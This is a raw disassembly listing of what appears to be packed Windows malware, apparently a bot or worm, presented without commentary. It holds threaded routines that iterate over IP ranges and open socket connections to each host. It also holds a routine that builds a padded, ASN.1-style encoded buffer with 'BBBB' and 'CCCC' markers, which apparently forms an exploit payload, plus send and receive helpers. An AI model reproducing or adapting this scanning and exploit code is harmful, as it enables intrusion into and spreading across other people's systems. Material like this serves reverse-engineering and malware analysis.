		call	sub_40B691
		mov	[ebp+var_28], eax
		imul	eax, 234h
		mov	ecx, [ebp+var_2C]
		add	esp, 24h
		mov	dword_455FC4[eax], ecx
		lea	eax, [ebp+var_14C]
		push	ebx
		push	ebx
		push	eax
		push	offset sub_40C87D
		push	ebx
		push	ebx
		call	dword_4F5350	; CreateThread
		mov	ecx, [ebp+var_28]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_455FD4[ecx], eax
		jnz	short loc_40CC38
		call	dword_4F5360	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+var_1CC]
		push	offset unk_448A34
		push	eax
		call	sub_41EA60
		lea	eax, [ebp+var_1CC]
		push	eax
		call	sub_415A3C
		add	esp, 10h

loc_40CC13:				; CODE XREF: sub_40CA91+1ACj
		push	1Eh
		call	esi	; Sleep
		inc	edi
		cmp	edi, [ebp+var_20]
		jbe	loc_40CB7D

loc_40CC21:				; CODE XREF: sub_40CA91+E6j
		cmp	[ebp+var_30], ebx
		jz	short loc_40CC46
		mov	eax, [ebp+var_30]
		imul	eax, 0EA60h
		push	eax
		call	esi	; Sleep
		jmp	short loc_40CC53
; ---------------------------------------------------------------------------

loc_40CC34:				; CODE XREF: sub_40CA91+1AAj
		push	1Eh
		call	esi	; Sleep

loc_40CC38:				; CODE XREF: sub_40CA91+159j
		cmp	[ebp+var_4], ebx
		jz	short loc_40CC34
		jmp	short loc_40CC13
; ---------------------------------------------------------------------------

loc_40CC3F:				; CODE XREF: sub_40CA91+1C0j
		push	7D0h
		call	esi	; Sleep

loc_40CC46:				; CODE XREF: sub_40CA91+193j
		mov	eax, [ebp+var_2C]
		cmp	dword_4E31D4[eax*8], 1
		jz	short loc_40CC3F

loc_40CC53:				; CODE XREF: sub_40CA91+1A1j
		push	[ebp+var_30]
		mov	eax, [ebp+var_2C]
		push	[ebp+var_38]
		mov	eax, dword_4E31D0[eax*8]
		push	eax
		call	dword_4E3114	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_1CC]
		push	offset unk_448A6C
		push	eax
		call	sub_41EA60
		add	esp, 14h
		cmp	[ebp+var_10], ebx
		jnz	short loc_40CCA1
		push	ebx
		lea	eax, [ebp+var_1CC]
		push	[ebp+var_14]
		push	eax
		lea	eax, [ebp+var_13C]
		push	eax
		push	[ebp+var_3C]
		call	sub_409C75
		add	esp, 14h

loc_40CCA1:				; CODE XREF: sub_40CA91+1F1j
		lea	eax, [ebp+var_1CC]
		push	eax
		call	sub_415A3C
		mov	eax, [ebp+var_2C]
		mov	[esp+20Ch+var_20C], 0BB8h
		mov	dword_4E31D4[eax*8], ebx
		call	esi	; Sleep
		push	0Bh
		call	sub_40B8D3
		cmp	eax, 1
		pop	ecx
		jnz	short loc_40CCD8
		push	offset dword_4E51D0
		call	dword_4F53B0	; RtlDeleteCriticalSection

loc_40CCD8:				; CODE XREF: sub_40CA91+23Aj
		push	[ebp+var_2C]
		call	sub_40B9A7
		pop	ecx
		push	ebx
		call	dword_4F53A0	; ExitThread
sub_40CA91	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CCE8	proc near		; DATA XREF: sub_40CDB5+7Bo
					; sub_40CEA6+7Bo

var_BC		= dword	ptr -0BCh
var_B8		= byte ptr -0B8h
var_38		= dword	ptr -38h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_20		= dword	ptr -20h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0BCh
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	2Bh
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_BC]
		push	10h
		rep movsd
		xor	esi, esi
		push	0
		inc	esi
		mov	[eax+0A8h], esi
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_41E4B0
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+var_38]
		call	dword_4E3088	; htons
		mov	[ebp+var_E], ax
		mov	eax, [ebp+var_28]
		push	6
		push	esi
		push	2
		mov	[ebp+var_C], eax
		call	dword_4E3108	; socket
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_40CDA6
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	esi
		call	dword_4E3030	; connect
		mov	ecx, [ebp+var_2C]
		imul	ecx, 234h
		cmp	eax, 0FFFFFFFFh
		mov	dword_455FCC[ecx], esi
		jz	short loc_40CDA6
		push	[ebp+var_38]
		push	[ebp+var_28]
		call	dword_4E3114	; inet_ntoa
		push	eax
		mov	edi, offset dword_4E5B90
		push	offset unk_448AAC
		push	edi
		call	sub_41EA60
		push	0
		lea	eax, [ebp+var_B8]
		push	[ebp+var_20]
		push	edi
		push	eax
		push	[ebp+var_BC]
		call	sub_409C75
		push	edi
		call	sub_415A3C
		add	esp, 28h

loc_40CDA6:				; CODE XREF: sub_40CCE8+5Dj
					; sub_40CCE8+7Ej
		push	esi
		call	dword_4E3120	; closesocket
		pop	edi
		xor	eax, eax
		pop	esi
		leave
		retn	4
sub_40CCE8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_40CDB5	proc near		; DATA XREF: sub_401C87+60F4o

var_134		= byte ptr -134h
var_B4		= byte ptr -0B4h
var_30		= dword	ptr -30h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 134h
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		push	edi
		push	2Bh
		mov	esi, ebx
		pop	ecx
		lea	edi, [ebp+var_B4]
		rep movsd
		mov	esi, dword_4F534C
		mov	dword ptr [ebx+0A4h], 1
		xor	edi, edi

loc_40CDE3:				; CODE XREF: sub_40CDB5+ECj
		push	[ebp+var_30]
		push	[ebp+var_20]
		call	dword_4E3114	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_134]
		push	offset unk_448AD4
		push	eax
		call	sub_41EA60
		lea	eax, [ebp+var_134]
		push	1FFh
		push	eax
		mov	eax, [ebp+var_24]
		imul	eax, 234h
		add	eax, offset dword_455DC0
		push	eax
		call	sub_41E510
		add	esp, 1Ch
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_B4]
		push	edi
		push	eax
		push	offset sub_40CCE8
		push	edi
		push	edi
		call	dword_4F5350	; CreateThread
		cmp	eax, edi
		mov	[ebp+var_4], eax
		jz	short loc_40CE4F
		jmp	short loc_40CE4A
; ---------------------------------------------------------------------------

loc_40CE46:				; CODE XREF: sub_40CDB5+98j
		push	32h
		call	esi	; Sleep

loc_40CE4A:				; CODE XREF: sub_40CDB5+8Fj
		cmp	[ebp+var_C], edi
		jz	short loc_40CE46

loc_40CE4F:				; CODE XREF: sub_40CDB5+8Dj
		push	[ebp+var_4]
		call	dword_4F533C	; CloseHandle
		push	dword ptr [ebx+8Ch]
		mov	[ebx+0A8h], edi
		call	esi	; Sleep
		lea	eax, [ebp+var_20]
		push	4
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		call	sub_41FBF0
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	dword_4E2FB0	; htonl
		inc	eax
		push	eax
		mov	[ebp+arg_0], eax
		call	dword_4E3084	; htonl
		mov	[ebp+arg_0], eax
		lea	eax, [ebp+arg_0]
		push	4
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		call	sub_41FBF0
		add	esp, 0Ch
		jmp	loc_40CDE3
sub_40CDB5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CEA6	proc near		; DATA XREF: sub_401C87+5E0Bo

var_130		= byte ptr -130h
var_B0		= dword	ptr -0B0h
var_AC		= byte ptr -0ACh
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_14		= dword	ptr -14h
var_8		= dword	ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 130h
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		push	edi
		push	2Bh
		mov	esi, ebx
		pop	ecx
		lea	edi, [ebp+var_B0]
		rep movsd
		mov	esi, dword_4F534C
		mov	dword ptr [ebx+0A4h], 1
		xor	edi, edi

loc_40CED4:				; CODE XREF: sub_40CEA6+BCj
		push	[ebp+var_2C]
		push	[ebp+var_1C]
		call	dword_4E3114	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_130]
		push	offset unk_448AFC
		push	eax
		call	sub_41EA60
		lea	eax, [ebp+var_130]
		push	1FFh
		push	eax
		mov	eax, [ebp+var_20]
		imul	eax, 234h
		add	eax, offset dword_455DC0
		push	eax
		call	sub_41E510
		add	esp, 1Ch
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_B0]
		push	edi
		push	eax
		push	offset sub_40CCE8
		push	edi
		push	edi
		call	dword_4F5350	; CreateThread
		cmp	eax, edi
		mov	[ebp+arg_0], eax
		jz	short loc_40CF40
		jmp	short loc_40CF3B
; ---------------------------------------------------------------------------

loc_40CF37:				; CODE XREF: sub_40CEA6+98j
		push	32h
		call	esi	; Sleep

loc_40CF3B:				; CODE XREF: sub_40CEA6+8Fj
		cmp	[ebp+var_8], edi
		jz	short loc_40CF37

loc_40CF40:				; CODE XREF: sub_40CEA6+8Dj
		push	[ebp+arg_0]
		call	dword_4F533C	; CloseHandle
		push	dword ptr [ebx+8Ch]
		mov	[ebx+0A8h], edi
		call	esi	; Sleep
		mov	eax, [ebp+var_2C]
		cmp	eax, [ebp+var_28]
		jz	short loc_40CF67
		inc	[ebp+var_2C]
		jmp	loc_40CED4
; ---------------------------------------------------------------------------

loc_40CF67:				; CODE XREF: sub_40CEA6+B7j
		push	[ebp+var_1C]
		call	dword_4E3114	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_130]
		push	offset unk_448B28
		push	eax
		call	sub_41EA60
		push	edi
		lea	eax, [ebp+var_130]
		push	[ebp+var_14]
		push	eax
		lea	eax, [ebp+var_AC]
		push	eax
		push	[ebp+var_B0]
		call	sub_409C75
		push	[ebp+var_20]
		call	sub_40B9A7
		add	esp, 24h
		xor	eax, eax
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	4
sub_40CEA6	endp


; =============== S U B	R O U T	I N E =======================================



sub_40CFB3	proc near		; CODE XREF: sub_40D24D+Ep
					; sub_40D24D+33p ...
		mov	eax, ecx
		and	dword ptr [eax+4], 0
		and	dword ptr [eax], 0
		retn
sub_40CFB3	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		mov	esi, ecx
		push	dword ptr [ebp+8]
		call	sub_41BC70
		pop	ecx
		push	eax
		lea	ecx, [ebp-8]
		push	dword ptr [ebp+8]
		call	sub_40CFEB
		mov	ecx, [eax]
		mov	[esi], ecx
		mov	eax, [eax+4]
		mov	[esi+4], eax
		mov	eax, esi
		pop	esi
		leave
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_40CFEB	proc near		; CODE XREF: .packed:0040CFD5p
					; sub_40D24D+11Ep

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		mov	ebx, [esp+4+arg_4]
		push	esi
		push	edi
		push	ebx
		mov	esi, ecx
		call	sub_41BE40
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jz	short loc_40D01D
		push	ebx
		push	0
		push	edi
		call	sub_41E4B0
		push	ebx
		push	[esp+1Ch+arg_0]
		push	edi
		call	sub_41FBF0
		add	esp, 18h
		mov	[esi+4], ebx
		mov	[esi], edi

loc_40D01D:				; CODE XREF: sub_40CFEB+14j
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_40CFEB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D025	proc near		; CODE XREF: sub_40D117+18p
					; sub_40D191+16p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_4]
		push	ebx
		mov	ebx, ecx
		mov	ecx, [ebp+arg_C]
		push	esi
		push	edi
		lea	edi, [eax+ecx]
		push	edi
		call	sub_41BE40
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jz	short loc_40D071
		push	edi
		push	0
		push	esi
		call	sub_41E4B0
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	esi
		call	sub_41FBF0
		push	[ebp+arg_C]
		mov	eax, [ebp+arg_4]
		add	eax, esi
		push	[ebp+arg_8]
		push	eax
		call	sub_41FBF0
		add	esp, 24h
		mov	[ebx+4], edi
		mov	[ebx], esi

loc_40D071:				; CODE XREF: sub_40D025+1Cj
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		pop	ebp
		retn	10h
sub_40D025	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D07A	proc near		; CODE XREF: sub_40D117+5Ep
					; sub_40D117+6Fp ...
		push	esi
		mov	esi, ecx
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_40D08A
		push	eax
		call	sub_41C9D0
		pop	ecx

loc_40D08A:				; CODE XREF: sub_40D07A+7j
		and	dword ptr [esi+4], 0
		and	dword ptr [esi], 0
		pop	esi
		retn
sub_40D07A	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D093	proc near		; CODE XREF: sub_40D117+20p
					; sub_40D1F2+8p ...
		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		mov	eax, [esi+4]
		cmp	eax, 0FFFFh
		jge	short loc_40D0BD
		xor	ebx, ebx
		cmp	eax, 7Fh
		setnl	bl
		lea	ebx, [ebx+ebx+1]
		add	eax, ebx
		push	eax
		call	sub_41BE40
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jnz	short loc_40D0C1

loc_40D0BD:				; CODE XREF: sub_40D093+Dj
		xor	al, al
		jmp	short loc_40D113
; ---------------------------------------------------------------------------

loc_40D0C1:				; CODE XREF: sub_40D093+28j
		mov	eax, [esi+4]
		add	eax, ebx
		push	eax
		push	0
		push	edi
		call	sub_41E4B0
		add	esp, 0Ch
		cmp	ebx, 1
		jnz	short loc_40D0E1
		mov	al, [esi+4]
		mov	[edi], al
		lea	eax, [edi+1]
		jmp	short loc_40D0F6
; ---------------------------------------------------------------------------

loc_40D0E1:				; CODE XREF: sub_40D093+42j
		mov	byte ptr [edi],	82h
		mov	eax, [esi+4]
		sar	eax, 8
		mov	[edi+1], al
		mov	al, [esi+4]
		mov	[edi+2], al
		lea	eax, [edi+3]

loc_40D0F6:				; CODE XREF: sub_40D093+4Cj
		push	dword ptr [esi+4]
		push	dword ptr [esi]
		push	eax
		call	sub_41FBF0
		add	esp, 0Ch
		push	dword ptr [esi]
		call	sub_41C9D0
		add	[esi+4], ebx
		pop	ecx
		mov	[esi], edi
		mov	al, 1

loc_40D113:				; CODE XREF: sub_40D093+2Cj
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_40D093	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D117	proc near		; CODE XREF: sub_40D24D+89p
					; sub_40D24D+E3p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		mov	esi, ecx
		push	edi
		lea	ecx, [ebp+var_8]
		push	dword ptr [esi+4]
		push	dword ptr [esi]
		push	1
		push	offset byte_4E5D98
		call	sub_40D025
		lea	ecx, [ebp+var_8]
		call	sub_40D093
		mov	eax, [ebp+var_4]
		inc	eax
		push	eax
		call	sub_41BE40
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jnz	short loc_40D151
		xor	al, al
		jmp	short loc_40D18D
; ---------------------------------------------------------------------------

loc_40D151:				; CODE XREF: sub_40D117+34j
		mov	eax, [ebp+var_4]
		inc	eax
		push	eax
		push	0
		push	edi
		call	sub_41E4B0
		mov	byte ptr [edi],	3
		push	[ebp+var_4]
		lea	eax, [edi+1]
		push	[ebp+var_8]
		push	eax
		call	sub_41FBF0
		add	esp, 18h
		mov	ecx, esi
		call	sub_40D07A
		mov	eax, [ebp+var_4]
		lea	ecx, [ebp+var_8]
		inc	eax
		mov	[esi], edi
		mov	[esi+4], eax
		call	sub_40D07A
		mov	al, 1

loc_40D18D:				; CODE XREF: sub_40D117+38j
		pop	edi
		pop	esi
		leave
		retn
sub_40D117	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D191	proc near		; CODE XREF: sub_40D1C5+14p
					; sub_40D1E2+8p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		mov	esi, ecx
		push	[ebp+arg_4]
		lea	ecx, [ebp+var_8]
		push	[ebp+arg_0]
		push	dword ptr [esi+4]
		push	dword ptr [esi]
		call	sub_40D025
		mov	ecx, esi
		call	sub_40D07A
		mov	eax, [ebp+var_8]
		mov	[esi], eax
		mov	eax, [ebp+var_4]
		mov	[esi+4], eax
		mov	al, 1
		pop	esi
		leave
		retn	8
sub_40D191	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D1C5	proc near		; CODE XREF: sub_40D24D+F0p
					; sub_40D24D+15Bp ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		push	[esp+4+arg_0]
		call	sub_41BC70
		pop	ecx
		push	eax
		mov	ecx, esi
		push	[esp+8+arg_0]
		call	sub_40D191
		pop	esi
		retn	4
sub_40D1C5	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D1E2	proc near		; CODE XREF: sub_40D22E+Bp
					; sub_40D24D+1A1p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	[esp+arg_4]
		push	[esp+4+arg_0]
		call	sub_40D191
		retn	8
sub_40D1E2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D1F2	proc near		; CODE XREF: sub_40D22E+16p
					; sub_40D24D+91p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		mov	esi, ecx
		call	sub_40D093
		test	al, al
		jz	short loc_40D22B
		push	dword ptr [esi+4]
		lea	ecx, [ebp+var_8]
		push	dword ptr [esi]
		push	1
		push	(offset	loc_448ECF+1)
		call	sub_40D025
		mov	ecx, esi
		call	sub_40D07A
		mov	eax, [ebp+var_8]
		mov	[esi], eax
		mov	eax, [ebp+var_4]
		mov	[esi+4], eax
		mov	al, 1

loc_40D22B:				; CODE XREF: sub_40D1F2+Fj
		pop	esi
		leave
		retn
sub_40D1F2	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D22E	proc near		; CODE XREF: sub_40D24D+134p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, ecx
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_40D1E2
		test	al, al
		jz	short loc_40D249
		mov	ecx, esi
		call	sub_40D1F2

loc_40D249:				; CODE XREF: sub_40D22E+12j
		pop	esi
		retn	8
sub_40D22E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D24D	proc near		; CODE XREF: .packed:0040DAA1p

var_858		= byte ptr -858h
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 858h
		push	ebx
		push	edi
		lea	ecx, [ebp+var_48]
		call	sub_40CFB3
		mov	edi, 408h
		cmp	[ebp+arg_8], edi
		jg	loc_40D591
		mov	ebx, [ebp+arg_10]
		lea	eax, [ebx+8]
		cmp	eax, edi
		ja	loc_40D591
		push	esi
		lea	ecx, [ebp+var_30]
		call	sub_40CFB3
		lea	ecx, [ebp+var_20]
		call	sub_40CFB3
		lea	ecx, [ebp+var_50]
		call	sub_40CFB3
		lea	ecx, [ebp+var_18]
		call	sub_40CFB3
		lea	ecx, [ebp+var_40]
		call	sub_40CFB3
		lea	ecx, [ebp+var_38]
		call	sub_40CFB3
		lea	ecx, [ebp+var_28]
		call	sub_40CFB3
		push	4
		push	offset dword_448B64
		lea	ecx, [ebp+var_30]
		call	sub_40D191
		push	3
		push	offset dword_448B6C
		lea	ecx, [ebp+var_30]
		call	sub_40D191
		lea	ecx, [ebp+var_30]
		call	sub_40D117
		lea	ecx, [ebp+var_30]
		call	sub_40D1F2
		mov	esi, 800h
		lea	eax, [ebp+var_858]
		push	esi
		push	42h
		push	eax
		call	sub_41E4B0
		add	esp, 0Ch
		lea	ecx, [ebp+var_20]
		push	8
		push	offset aRbrbrbrb ; "BBBB"
		call	sub_40D191
		push	ebx
		lea	ecx, [ebp+var_20]
		push	[ebp+arg_C]
		call	sub_40D191
		mov	eax, 409h
		lea	ecx, [ebp+var_20]
		sub	eax, [ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_858]
		push	eax
		call	sub_40D191
		lea	ecx, [ebp+var_20]
		call	sub_40D117
		push	offset loc_448ED4
		lea	ecx, [ebp+var_50]
		call	sub_40D1C5
		lea	ecx, [ebp+var_50]
		call	sub_40D117
		push	esi
		lea	eax, [ebp+var_858]
		push	44h
		push	eax
		call	sub_41E4B0
		add	esp, 0Ch
		lea	eax, [ebp+var_858]
		lea	ecx, [ebp+var_58]
		push	410h
		push	eax
		call	sub_40CFEB
		lea	ecx, [ebp+var_58]
		call	sub_40D117
		push	[ebp+var_54]
		lea	ecx, [ebp+var_50]
		push	[ebp+var_58]
		call	sub_40D22E
		lea	ecx, [ebp+var_58]
		call	sub_40D07A
		push	esi
		lea	eax, [ebp+var_858]
		push	43h
		push	eax
		call	sub_41E4B0
		add	esp, 0Ch
		push	offset aCccc	; "CCCC"
		lea	ecx, [ebp+var_18]
		call	sub_40D1C5
		push	4
		push	offset dword_448B70
		lea	ecx, [ebp+var_18]
		call	sub_40D191
		push	[ebp+arg_8]
		lea	ecx, [ebp+var_18]
		push	[ebp+arg_4]
		call	sub_40D191
		sub	edi, [ebp+arg_8]
		lea	eax, [ebp+var_858]
		lea	ecx, [ebp+var_18]
		push	edi
		push	eax
		call	sub_40D191
		lea	ecx, [ebp+var_18]
		call	sub_40D117
		push	[ebp+var_14]
		lea	ecx, [ebp+var_40]
		push	[ebp+var_18]
		call	sub_40D1E2
		push	[ebp+var_4C]
		lea	ecx, [ebp+var_40]
		push	[ebp+var_50]
		call	sub_40D1E2
		lea	ecx, [ebp+var_40]
		call	sub_40D1F2
		lea	ecx, [ebp+var_18]
		call	sub_40D07A
		lea	ecx, [ebp+var_50]
		call	sub_40D07A
		push	[ebp+var_1C]
		lea	ecx, [ebp+var_38]
		push	[ebp+var_20]
		call	sub_40D1E2
		push	[ebp+var_2C]
		lea	ecx, [ebp+var_38]
		push	[ebp+var_30]
		call	sub_40D1E2
		push	[ebp+var_3C]
		lea	ecx, [ebp+var_38]
		push	[ebp+var_40]
		call	sub_40D1E2
		lea	ecx, [ebp+var_38]
		call	sub_40D1F2
		lea	ecx, [ebp+var_20]
		call	sub_40D07A
		lea	ecx, [ebp+var_30]
		call	sub_40D07A
		lea	ecx, [ebp+var_40]
		call	sub_40D07A
		push	esi
		lea	eax, [ebp+var_858]
		push	41h
		push	eax
		call	sub_41E4B0
		add	esp, 0Ch
		lea	eax, [ebp+var_858]
		lea	ecx, [ebp+var_28]
		push	400h
		push	eax
		call	sub_40D191
		lea	ecx, [ebp+var_28]
		call	sub_40D117
		push	2
		push	offset dword_448EE8
		lea	ecx, [ebp+var_28]
		call	sub_40D191
		push	[ebp+var_34]
		lea	ecx, [ebp+var_28]
		push	[ebp+var_38]
		call	sub_40D1E2
		lea	ecx, [ebp+var_28]
		call	sub_40D1F2
		lea	ecx, [ebp+var_38]
		call	sub_40D07A
		lea	ecx, [ebp+var_10]
		call	sub_40CFB3
		lea	ecx, [ebp+var_8]
		call	sub_40CFB3
		push	[ebp+var_24]
		lea	ecx, [ebp+var_10]
		push	[ebp+var_28]
		call	sub_40D1E2
		lea	ecx, [ebp+var_10]
		call	sub_40D093
		lea	ecx, [ebp+var_28]
		call	sub_40D07A
		push	offset byte_448EEC
		lea	ecx, [ebp+var_8]
		call	sub_40D1C5
		push	[ebp+var_C]
		lea	ecx, [ebp+var_8]
		push	[ebp+var_10]
		call	sub_40D1E2
		lea	ecx, [ebp+var_8]
		call	sub_40D093
		lea	ecx, [ebp+var_10]
		call	sub_40D07A
		push	offset word_448EEE
		lea	ecx, [ebp+var_10]
		call	sub_40D1C5
		push	[ebp+var_4]
		lea	ecx, [ebp+var_10]
		push	[ebp+var_8]
		call	sub_40D1E2
		lea	ecx, [ebp+var_10]
		call	sub_40D093
		lea	ecx, [ebp+var_8]
		call	sub_40D07A
		push	offset dword_448EF0
		lea	ecx, [ebp+var_8]
		call	sub_40D1C5
		push	[ebp+var_C]
		lea	ecx, [ebp+var_8]
		push	[ebp+var_10]
		call	sub_40D1E2
		lea	ecx, [ebp+var_8]
		call	sub_40D093
		lea	ecx, [ebp+var_10]
		call	sub_40D07A
		push	(offset	aA_1+2)
		lea	ecx, [ebp+var_48]
		call	sub_40D1C5
		push	[ebp+var_4]
		lea	ecx, [ebp+var_48]
		push	[ebp+var_8]
		call	sub_40D1E2
		lea	ecx, [ebp+var_8]
		call	sub_40D07A
		pop	esi

loc_40D591:				; CODE XREF: sub_40D24D+1Bj
					; sub_40D24D+29j
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_48]
		pop	edi
		pop	ebx
		mov	[eax], ecx
		mov	ecx, [ebp+var_44]
		mov	[eax+4], ecx
		leave
		retn
sub_40D24D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D5A3	proc near		; CODE XREF: sub_40D667+A2p
					; sub_40D667+C7p ...

var_210		= dword	ptr -210h
var_20C		= dword	ptr -20Ch
var_10C		= dword	ptr -10Ch
var_108		= dword	ptr -108h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 210h
		push	esi
		mov	esi, [ebp+arg_0]
		lea	eax, [ebp+var_8]
		push	edi
		push	eax
		lea	eax, [ebp+var_210]
		and	[ebp+var_4], 0
		push	eax
		lea	eax, [ebp+var_10C]
		push	0
		xor	edi, edi
		push	eax
		lea	eax, [esi+1]
		inc	edi
		push	eax
		mov	[ebp+var_108], esi
		mov	[ebp+var_10C], edi
		mov	[ebp+var_20C], esi
		mov	[ebp+var_210], edi
		mov	[ebp+var_8], 0Ah
		call	dword_4F5544	; select
		cmp	eax, edi
		jnz	short loc_40D60A
		lea	eax, [ebp+var_10C]
		push	eax
		push	esi
		call	sub_43A942	; __WSAFDIsSet
		test	eax, eax
		jnz	short loc_40D60E

loc_40D60A:				; CODE XREF: sub_40D5A3+54j
		xor	eax, eax
		jmp	short loc_40D61E
; ---------------------------------------------------------------------------

loc_40D60E:				; CODE XREF: sub_40D5A3+65j
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	esi
		call	dword_4E30A0	; recv

loc_40D61E:				; CODE XREF: sub_40D5A3+69j
		pop	edi
		pop	esi
		leave
		retn
sub_40D5A3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D622	proc near		; CODE XREF: sub_40D667+80p
					; sub_40D667+AEp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	[ebp+arg_8]
		call	dword_4E3084	; htonl
		mov	[ebp+var_4], eax
		push	0
		lea	eax, [ebp+var_4]
		push	4
		push	eax
		push	[ebp+arg_0]
		call	dword_4E30D8	; send
		cmp	eax, 4
		jz	short loc_40D64C
		xor	al, al
		leave
		retn
; ---------------------------------------------------------------------------

loc_40D64C:				; CODE XREF: sub_40D622+24j
		push	0
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_4E30D8	; send
		sub	eax, [ebp+arg_8]
		neg	eax
		sbb	eax, eax
		inc	eax
		leave
		retn
sub_40D622	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D667	proc near		; CODE XREF: sub_40D746+48p
					; .packed:0040DB74p

var_104		= byte ptr -104h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 104h
		push	ebx
		push	esi
